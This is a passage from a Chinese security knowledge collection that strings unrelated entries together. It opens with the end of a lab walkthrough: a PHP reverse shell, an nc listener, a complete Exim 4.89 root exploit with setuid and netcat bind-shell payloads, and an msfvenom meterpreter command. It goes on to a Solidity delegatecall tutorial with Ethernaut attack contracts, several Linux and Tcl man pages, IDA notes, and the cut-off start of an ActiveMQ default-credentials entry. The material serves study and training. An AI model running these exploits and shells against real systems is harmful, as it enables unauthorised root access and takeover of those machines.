if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
kali 监听
```
nc -nlvp 4444
```
---
# 后期-提权
找找可以提权的东西2
```
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -u=s 2>/dev/null
```
挨个找过去,在 exim4 里发现几个漏洞
```
exim4 --version
searchsploit -w exim 4.89
```
DOS 和命令执行先 pass,测一下提权 https://www.exploit-db.com/exploits/46996
将 poc 保存到 tmp 目录下
```bash
cd /tmp
tee pri.sh <<-'EOF'
METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'
# usage instructions
function usage()
{
echo "$0 [-m METHOD]"
exit 1
}
function exploit()
{
exec 3<>/dev/tcp/localhost/25
read -u 3 && echo $REPLY
echo "helo localhost" >&3
read -u 3 && echo $REPLY
echo "mail from:<>" >&3
read -u 3 && echo $REPLY
echo "rcpt to:<$PAYLOAD>" >&3
read -u 3 && echo $REPLY
echo "data" >&3
read -u 3 && echo $REPLY
for i in {1..31}
do
echo "Received: $i" >&3
done
echo "." >&3
read -u 3 && echo $REPLY
echo "quit" >&3
read -u 3 && echo $REPLY
}
while [ ! -z "$1" ]; do
case $1 in
-m) shift; METHOD="$1"; shift;;
* ) usage
;;
esac
done
if [ -z $METHOD ]; then
usage
fi
if [ $METHOD = "setuid" ]; then
echo "Preparing setuid shell helper..."
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
if [ $? -ne 0 ]; then
echo "Problems compiling setuid shell helper, check your gcc."
echo "Falling back to the /bin/sh method."
cp /bin/sh /tmp/pwned
fi
echo
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_SETUID
exploit
echo
echo "Waiting 5 seconds..."
sleep 5
ls -l /tmp/pwned
/tmp/pwned
elif [ $METHOD = "netcat" ]; then
echo "Delivering $METHOD payload..."
PAYLOAD=$PAYLOAD_NETCAT
exploit
echo
echo "Waiting 5 seconds..."
sleep 5
nc -v 127.0.0.1 31337
else
usage
fi
EOF
bash pri.sh -m netcat
```
耐心等待
这个时候再用 kali 新建一个 bind shell 连接
```
nc -nv 192.168.141.141 31337
```
提权成功,感谢靶机作者 @DCUA7
---
# 补充
php 反弹 shell 那一步除了网上找到的 php 源码外,还可以直接回弹个 meterpreter shell,一条命令生成
```
msfvenom -p php/meterpreter_reverse_tcp lhost=your-ip lport=your-port -f raw > shell.php
```
|
sec-knowleage
|
repquota
===
报表的格式输出磁盘空间限制的状态
## 补充说明
**repquota命令** 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。
### 语法
```shell
repquota(选项)(参数)
```
### 选项
```shell
-a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组;
-g:列出所有群组的磁盘空间限制;
-u:列出所有用户的磁盘空间限制;
-v:显示该用户或群组的所有空间限制。
```
### 参数
文件系统:要打印报表的文件系统或者对应的设备文件名。
### 实例
显示所有文件系统的磁盘使用情况
```shell
repquota -a
```
|
sec-knowleage
|
## The Names Window
The Names window, provides a summary listing of all of the global names within a binary. A name is nothing more than a symbolic description given to a program virtual address. IDA initially derives the list of names from symbol-table and signature analysis during the initial loading of a file. Names can be sorted alphabetically or in virtual address order (either ascending or descending). The Names window is useful for rapidly navigating to known locations within a program listing. Double-clicking any Names window entry will immediately jump the disassembly view to display the selected name.
Displayed names are both color and letter coded. The coding scheme is summaried below:
- **F** A regular function. These are functions that IDA does not recognize as library functions.
- **L** A library function. IDA recognizes library functions through the use of signature-matching algoriths. If a signature does not exist for a given library function, the function will be labeled as a regular function instead.
- **I** An imported name, most commonly a function name imported from a shared library. The different between this and a library function is that no code is present for an imported name, while the body of a library function will be present in the disassembly.
- **C** Named code*. These are named program instruction locations that IDA does not consider to be part of any function. This is posible when IDA finds a name in a program's symbol table but never sees a call to the corresponding program location..
- **D** Data. Named data locations typically represent global variables.
- **A** String data. This is a referenced data location containing a sequence of characters that conform to one of IDA's known string data types, such as a null-terminated ASCII C string.
|
sec-knowleage
|
# Delegatecall
> There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.
## 原理
### 三种调用函数
在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。
#### 调用模型
```
<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)
```
这些函数提供了灵活的方式与合约进行交互,并且可以接受任何长度、任何类型的参数,其传入的参数会被填充至 32 字节最后拼接为一个字符串序列,由 EVM 解析执行。
在函数调用的过程中,Solidity 中的内置变量 `msg` 会随着调用的发起而改变,`msg` 保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。
#### 异同点
* call: 调用后内置变量 `msg` 的值会修改为调用者,执行环境为被调用者的运行环境
* delegatecall: 调用后内置变量 `msg` 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
* callcode: 调用后内置变量 `msg` 的值会修改为调用者,但执行环境为调用者的运行环境
!!! note
Warning: "callcode" has been deprecated in favour of "delegatecall"
### Delegatecall 滥用
#### 设计初衷
* 函数原型 `<address>.delegatecall(...) returns (bool)`
* 函数设计的目的是为了使用给定地址的代码,其他信息则使用当前合约(如存储、余额等)
* 某种程度上也是为了代码的复用
#### 威胁分析
参考函数原型,我们知道,delegatecall 调用有 `address` 和 `msg.data` 两个参数
* 若 `msg.data` 可控,则可调用 `address` 处任意函数
```solidity
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
```
对于这个例子,攻击者如何成为 owner 呢?
其实我们只需调用 Delegation 的假 `pwn()` 即可,这样就会触发 Delegation 的 `fallback`,这样 `pwn` 的函数签名哈希就会放在 `msg.data[0:4]` 了,这样就会只需 delegate 的 `pwn()` 把 owner 变成自己,如下所示即可(这就是因为 `msg.data` 可控导致的)
```
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)})
```
* 若 `msg.data` 和 `address` 都可控,则可调用任意 `address` 处的任意函数
同理,只不过额外加了 `address` 是可控的这个条件,不再作分析
#### 原因分析
```solidity
pragma solidity ^0.4.23;
contract A {
address public c;
address public b;
function test() public returns (address a) {
a = address(this);
b = a;
}
}
contract B {
address public b;
address public c;
function withdelegatecall(address testaddress) public {
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}
```
来看上面这个例子,假设合约 A 部署后地址为 address_a,合约 B 部署后地址为 address_b,使用 外部账户 C 调用 withdelegatecall(address_a),address_a 和 address_b 中的 b、c 变量分别是多少?结果如下
address_a 合约中,c = 0,b = 0;address_b 合约中,b = 0,c = address_b
修改的不是 B 合约中的 b 变量,而是修改了 B 合约中的 c 变量
sstore 即访存指令,可以看到写入的是 1 号存储位,1号存储位 在 B 合约中即对应变量 c,在 A 合约中则对应变量 b,所以事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名,而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的。
## 例子
### Source
[ethernaut](https://ethernaut.openzeppelin.com/) 第 16 题
### Analyse
- 我们调用 Preservation 的 `setFirstTime` 函数实际通过 `delegatecall` 执行了 LibraryContract 的 `setTime` 函数,修改了 slot 1 ,也就是修改了 timeZone1Library 变量
- 这样,我们第一次调用 `setFirstTime` 将 timeZone1Library 变量修改为我们的恶意合约的地址,第二次调用 `setFirstTime` 就可以执行我们的任意代码了
### Exp
```solidity
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
contract attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
address instance_address = 0x7cec052e622c0fb68ca3b2e3c899b8bf8b78663c;
Preservation target = Preservation(instance_address);
function attack1() {
target.setFirstTime(uint(address(this)));
}
function attack2() {
target.setFirstTime(uint(0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2));
}
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner = address(_time);
}
}
```
先调用 `attack1()` ,再调用 `attack2()` 即可
### Result
## 题目
### RealWorld 2018
- 题目名称 Acoraida Monica
### Balsn 2019
- 题目名称 Creativity
### 第五空间 2020
- 题目名称 SafeDelegatecall
### 华为鲲鹏计算 2020
- 题目名称 boxgame
!!! note
注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
|
sec-knowleage
|
'\"
'\" Copyright (c) 1995-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: vwait.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: vwait.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH vwait 3tcl 8.0 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
vwait \- 处理事件直到一个变量被写
.SH "总览 SYNOPSIS"
\fBvwait\fR \fIvarName\fR
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令进入 Tcl 事件循环来处理事件,如果没有事件就绪则阻塞应用。它连续处理事件直到一些事件处理器设置了 \fIvarName\fR 变量的值。一旦设置了 \fIvarName\fR ,则\fBvwait\fR 命令在修改 \fIvarName\fR 的那个事件处理器完成之后立即返回。\fIvarName\fR 必须是全局作用域的(要么为这个变量调用 \fBglobal\fR,要么为它加上完整的名字空间路径指定)。
.PP
在一些情况下,\fBvwait\fR 命令在设置了 \fIvarName\fR 之后可能不立即返回。如果设置 \fIvarName\fR 的那个事件处理器未立即完成则可能发生这种情况。例如,如果一个事件处理器设置了 \fIvarName\fR 并接着它自身调用 \fBvwait\fR 来等待一个不同的变量,则它可能很长时间不返回。在此期间顶层的 \fBvwait\fR 被阻塞来等待事件处理器完成,所以都不能返回。
.SH "参见 SEE ALSO"
global(n)
.SH "关键字 KEYWORDS"
event, variable, wait
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/11/20
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
.TH XXD 1 "August 1996" "Manual page for xxd"
.\"
.\" 21st May 1996
.\" Man page author:
.\" Tony Nugent <tony@sctnugen.ppp.gu.edu.au> <T.Nugent@sct.gu.edu.au>
.\" Changes by Bram Moolenaar <Bram@vim.org>
.SH NAME
.I xxd
\- 以十六进制形式表示
.SH "总览 (SYNOPSIS)"
.B xxd
\-h[elp]
.br
.B xxd
[options] [infile [outfile]]
.br
.B xxd
\-r[evert] [options] [infile [outfile]]
.SH "描述 (DESCRIPTION)"
.I xxd
建立一个指定文件或者标准输入的十六进制转储,同时也可以
把十六进制转储转换成原来的二进制形式。同
.BR uuencode(1)
和
.BR uudecode(1)
一样,它也可以把二进制数据转换成 ASCII 表示形式,这样电子邮件就可以
安全的传输。但是它有一个优点,就是可以把解码后的结果输出到
标准输出。同时它还可以用来给二进制文件打补丁。
.SH "选项 (OPTIONS)"
如果没有给定
.I infile
就用标准输入。如果
.I infile
是一个
.RB “\-”
字符,也从标准输入读入。如果没有给定
.I outfile
(或者它的文件名是 一个
.RB \` \- \'
字符),结果将输出至标准输出。
.PP
注意我们用的是一个很“懒”的解析器,它只检查选项的第一个字符,
除非这个选项有参数。在一个单字符的选项和它的参数之间的空格
可有可无. 选项的 参数 可以 用 十进制, 十六进制 或者 八进制的 形式 指定.
也就是说
.RB \-c8 ,
.BR "\-c 8" ,
.B \-c 010
和
.B \-cols 8
是 等价的.
.PP
.TP
.IR \-a " | " \-autoskip
打开/关闭 autoskip: 用一个 单独的 '*' 来 代替 空行. 默认 关闭.
.TP
.IR \-b " | " \-bits
转到 比特(二进制 数字) 模式, 而 不是 十六进制 模式. 在 这种 模式 下,
每个 字符 被 表示成 八个 0/1 的 数字, 而 不是 一般的 十六进制 形式.
每 一行 都 以 一个 用 十六进制 形式 表示的 行号, 后面 是 ascii (或者 ebcdic)
形式 开头. 命令行 选项 \-r, \-p, \-i 在 这个 模式下 不起作用.
.TP
.IR "\-c cols " | " \-cols cols"
.IR "\-c cols " | " \-cols cols"
每行 表示
.RI < cols >
个 字符. 默认 16 (\-i: 12, \-ps: 30, \-b: 6). 最多 256.
.TP
.IR \-E " | " \-EBCDIC
把 右手边的 字符 编码 从 ASCII 变为 EBCDIC. 这个 并不 改变 其 十六进制
表示 形式. 同 \-r, \-p 或者 \-i 一起用 是 没有 意义的.
.TP
.IR "\-g bytes " | " \-groupsize bytes"
每
.RI < bytes >
个 字符 (每 两个 十六进制 字符 或者 八个 二进制 数字) 之间 用 一个 空格 隔开.
用
.I \-g 0
禁止 分组. 在 普通 模式 中
.RI < Bytes "> 默认 是 " 2
在 二进制 模式 中 是 \fI1\fP. 分组 并不 适用于 postscript 或者
include style 选项.
.TP
.IR \-h " | " \-help
显示 可用 命令 概述 并且 退出. 不做 其它 任何 事情.
.TP
.IR \-i " | " \-include
输出 为 C 语言的 包含 文件 形式. 除非 xxd 从 标准输入 读入, 不然 会 输出 一个
完整的 静态 数组 定义(与 输入 文件 同名).
.TP
.IR "\-l len " | " \-len len"
输出
.RI < len >
个 字符 后 停止.
.TP
.IR \-p " | " \-ps " | " \-postscript " | " \-plain
以 postscript 的 连续 十六进制 转储 输出. 这 也叫做 纯 十六进制 转储.
.TP
.IR \-r " | " \-revert
逆向 操作: 把 十六进制 转储 转换 (或者 打补丁) 成 二进制 形式. 如果 不 输出 到
标准输出, xxd 并不把 输出 文件 截断, 而是 直接 写到 输出 文件. 用
.I \-r \-p
来 从 一个 没有 行号 没有 某种 列格式 的 纯 十六进制 转储 读入. 附加的 空格
和 换行 可以 出现 在 任何 地方.
.TP
.I \-seek offset
用在
.I \-r
之后: 会在 当前 文件的 偏移量 上 增加
.RI < offset > .
.TP
.I \-s [\+][\-]seek
从 infile 的 绝对 或者 相对 偏移量
.RI < seek >
开始.
\fI\+ \fR 表示 相对于 标准 输入 当前的 位置 (如果 不是 标准输入 就
没有 意义了). \fI\- \fR 表示 从 文件 末尾 (如果 和 \fI \+ \fR 连用:
从 标准输入 当前 位置) 向前 数 一些 字符, 从 那个
地方 开始. 如果 没有 \-s 选项, xxd 从 当前 位置 开始.
.TP
.I \-u
用大写字母. 默认的是小写字母.
.TP
.IR \-v " | " \-version
显示 版本 字符串.
.SH "告诫 (CAVEATS)"
.PP
.I xxd \-r
在 对待 行号 上 有一些 地方 值得 注意. 如过 输出 文件 可以 定位,
那么 在 十六进制 文件 中的 行首的 行号 可以 重叠, 顺序 可以 打乱,
还 可以 略去 一些 行号. 这种 情况 下, xxd 会 用 lseek(2) 来 定位.
如果 输出 文件 不可以 定位, 那么 行号 可以 不连续, 但是 必须 按
顺序, 这种 情况 下, 中间 会 插入 null 字符.
.PP
.I xxd \-r
从不 输出 解析 错误. 错误 会 被跳过.
.PP
在 编辑 十六进制 文件时 要 注意
.I xxd \-r
在 读入 足够列 之后 会跳过 本行 后面 所有的 数据 (见 选项 \-c).
这 就是说 对可打印的 ASCII (或者 EBCDIC) 的修改 都会被 忽略. 用
xxd \-r \-p 把一个 纯十六进制 转储文件 (或者 postscript) 恢复 成
二进制文件 与 列数 是否 正确 没有 什么 关系, 它会 解释 所有 看起来
像 两个 十六进制的 数字.
.PP
请 注意
.br
\fI% xxd \-i file\fR
.br
和
.br
\fI% xxd \-i \< file\fR
的 区别.
.PP
因为 lseek(2) 是 用来 重置 输入指针的, 所以
.I xxd \-s \+seek
和
.I xxd \-s seek
是 有区别的. 如果 输入 是 标准输入, 并且 在 xxd 被执行是 它的 标准输入的 指针
位置 不是在 文件的 开头, 那么 多了个 '+' 效果 就会 不一样了. 下面的 例子 可能
帮助你 弄清楚(也可能 让你 更糊涂)...
.PP
在读 之前 需要 重置 输入的 文件指针; 因为 `cat' 已经 读到了 输入的 文件尾.
.br
\fI% sh \-c 'cat > plain_copy; xxd \-s 0 > hex_copy' < file
.PP
从 0x480 (=1024+128) 开始读. `+' 表明 "相对于 当前的 文件位置", 也就是说
从 dd 读了 1k, 在此 基础上 再加 `128'.
.br
\fI% sh \-c 'dd of=plain_snippet bs=1k count=1; xxd \-s +128 > hex_snippet' < file
.PP
从 0x100 ( = 1024-768) 开始读.
.br
\fI% sh \-c 'dd of=plain_snippet bs=1k count=1; xxd \-s +-768 > hex_snippet' < file
.PP
可是, 这种 情况 很少 发生, 我们 也 很少 需要用 `+'. 当用了 \-s 是, 作者 比较
喜欢 用 strace(1) 或者 truss(1) 去 监控 xxd 的 行为.
.SH "例子 (EXAMPLES)"
.PP
.br
(译者: 实际 输出 可能 和 例子 有 一些 出入, 只要 理解 其 意思 就行了)
.br
显示 \fBfile\fP 除了 前 三行 (十六进制 的 0x30) 的 所有 内容.
.br
\fI% xxd \-s 0x30 file
.PP
.br
显示 \fBfile\fP 最后 三行 (十六进制 的 0x30) 的 所有 内容.
.br
\fI% xxd \-s \-0x30 file
.PP
.br
显示 120 个 字符, 每行 20 个 字符, 连续 显示.
.br
\fI% xxd \-l 120 \-ps \-c 20 xxd.1\fR
.br
2e544820585844203120224d616e75616c207061
.br
676520666f7220787864220a2e5c220a2e5c2220
.br
32317374204d617920313939360a2e5c22204d61
.br
6e207061676520617574686f723a0a2e5c222020
.br
2020546f6e79204e7567656e74203c746f6e7940
.br
7363746e7567656e2e7070702e67752e6564752e
.br
.br
显示 120 个 字符, 每行 12 个 字符.
.br
\fI% xxd \-l 120 \-c 12 xxd.1\fR
.br
0000000: 2e54 4820 5858 4420 3120 224d .TH XXD 1 "M
.br
000000c: 616e 7561 6c20 7061 6765 2066 anual page f
.br
0000018: 6f72 2078 7864 220a 2e5c 220a or xxd"..\\".
.br
0000024: 2e5c 2220 3231 7374 204d 6179 .\\" 21st May
.br
0000030: 2031 3939 360a 2e5c 2220 4d61 1996..\\" Ma
.br
000003c: 6e20 7061 6765 2061 7574 686f n page autho
.br
0000048: 723a 0a2e 5c22 2020 2020 546f r:..\\" To
.br
0000054: 6e79 204e 7567 656e 7420 3c74 ny Nugent <t
.br
0000060: 6f6e 7940 7363 746e 7567 656e ony@sctnugen
.br
000006c: 2e70 7070 2e67 752e 6564 752e .ppp.gu.edu.
.PP
.br
只 显示 xxd.1 中 的 日期.
.br
\fI% xxd \-s 0x28 \-l 12 \-c 12 xxd.1\fR
.br
0000028: 3231 7374 204d 6179 2031 3939 21st May 199
.PP
.br
把
.B input_file
考到
.B output_file
并 在 前面 增加 100 个 字节的 0x00.
.br
\fI% xxd input_file | xxd \-r \-s 100 \> output_file\fR
.br
.br
给 文件 xxd.1 中的 日期 打 补钉.
.br
\fI% echo '0000029: 3574 68' | xxd \-r \- xxd.1\fR
.br
\fI% xxd \-s 0x28 \-l 12 \-c 12 xxd.1\fR
.br
0000028: 3235 7468 204d 6179 2031 3939 25th May 199
.PP
.br
建立 一个 65537 字节的 文件, 所有 字节 都是 0x00,
除了 最后 一个 字节 是 'A' (十六进制 0x41).
.br
\fI% echo \'010000: 41\' | xxd \-r \> file\fR
.PP
.br
打开 autoskip, 显示 上例 中 建立的 文件.
.br
\fI% xxd \-a \-c 12 file\fR
.br
0000000: 0000 0000 0000 0000 0000 0000 ............
.br
*
.br
000fffc: 0000 0000 40 ....A
.PP
建立 一个 只 含有 一个 'A' 的 文件. '\-r \-s' 后面 的
数字 同 文件 中的 行号 相 抵消; 结果是 开头 的 字节 被
跳过了.
.br
\fI% echo '010000: 41' | xxd \-r \-s \-0x10000 \> file\fR
.PP
在 编辑器, 比如
.B vim(1)
中 把 xxd 当成 一个 过滤 程序 来用, 用 十六进制 来 显示
被 标记 为 'a' 和 'z' 中间 的 区域.
.br
\fI:'a,'z!xxd\fR
.PP
在 编辑器, 比如
.B vim(1)
中 把 xxd 当成 一个 过滤 程序 来用, 用来 恢复
被 标记 为 'a' 和 'z' 中间 的 区域 的 十六进制 显示.
.br
\fI:'a,'z!xxd \-r\fR
.PP
在 编辑器, 比如
.B vim(1)
中 把 xxd 当成 一个 过滤 程序 来用, 用来 恢复 一行的
十六进治 显示. 把 光标 移动 到 相应行 并 键入:
.br
\fI!!xxd \-r\fR
.PP
从 串行线 中 读入 一个个的 单独的 字符.
.br
\fI% xxd \-c1 < /dev/term/b &\fR
.br
\fI% stty < /dev/term/b \-echo \-opost \-isig \-icanon min 1\fR
.br
\fI% echo \-n foo > /dev/term/b\fR
.PP
.SH "返回值 (RETURN VALUES)"
此 程序 返回 如下的 错误码:
.TP
0
一切 正常.
.TP
\-1
不支持 此 操作 (
.I xxd \-r \-i
仍然 不行).
.TP
1
解析 选项 错误.
.TP
2
输入 文件 出错.
.TP
3
输出 文件 出错.
.TP
4,5
指定 的 偏移量 地址 不可 到达.
.SH "参见 (SEE ALSO)"
uuencode(1), uudecode(1), patch(1)
.br
.SH "警告 (WARNINGS)"
这个 工具 古怪的 念头 是其 作者的 意思. 使用 这个 工具的 任何 结果 都由 自己
负责. 使用它, 探索它, 你 终会 成为 一个 高手.
.br
.SH "版本 (VERSION)"
此 手册页 为 1.7 版本的 xxd 而写.
.SH "作者 (AUTHOR)"
.br
(c) 1990-1997 by Juergen Weigert
.br
<jnweiger@informatik.uni-erlangen.de>
.LP
Distribute freely and credit me,
.br
make money and share with me,
.br
lose money and don't ask me.
.PP
Tony Nugent
.br
<tony@sctnugen.ppp.gu.edu.au> <T.Nugent@sct.gu.edu.au>
最先 开始 写 本 手册页
.br
Bram Moolenaar 做了一些小的改动,
Juergen Weigert 完成了手册页的编写。
.PP
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2002/1/22
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# ActiveMQ未授权访问漏洞
## 漏洞描述
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin,用户可以未经授权使用默认凭据直接访问服务器,导致敏感信息泄露,并进一步进行攻击。
## 环境搭建
Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz
```
[root@localhost bin]# ./activemq start
INFO: Using default configuration
